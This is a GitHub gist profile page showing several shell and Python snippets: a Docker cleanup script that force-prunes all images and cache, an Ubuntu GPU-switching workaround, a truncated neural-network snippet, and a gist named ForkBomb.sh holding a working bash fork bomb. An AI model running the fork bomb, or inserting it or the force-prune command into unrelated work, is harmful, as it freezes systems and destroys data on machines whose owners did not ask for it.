Skip to content

Instantly share code, notes, and snippets.

View s4mpl3d's full-sized avatar
:shipit:

Bert-Jan Fikse s4mpl3d

:shipit:
View GitHub Profile
@s4mpl3d
s4mpl3d / remove_local_docker.sh
Created February 16, 2019 05:04
delete all docker containers, images, networks and cache
#!/bin/bash
# stop all containers
docker stop $(docker ps -a -q)
# WARNING! This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
docker system prune -a -f
@s4mpl3d
s4mpl3d / intel.sh
Created March 31, 2018 05:15
Workaround for gdm3/nvidia-prime "loginscreen freeze bug" on Ubuntu when switching between nvidia gtx1070 & intel gpu (Alienware 15)
#!/bin/bash
sudo prime-select intel
nohup bash -c "gnome-session-quit --force --no-prompt && sleep 3 && sudo /etc/init.d/gdm3 restart" &
import copy, numpy as np
np.random.seed(0)
# compute sigmoid nonlinearity
def sigmoid(x):
output = 1/(1+np.exp(-x))
return output
# convert output of sigmoid function to its derivative
def sigmoid_output_to_derivative(output):
@s4mpl3d
s4mpl3d / shell
Created May 22, 2017 15:05
ForkBomb.sh
#!/bin/bash
:(){ :|:& };: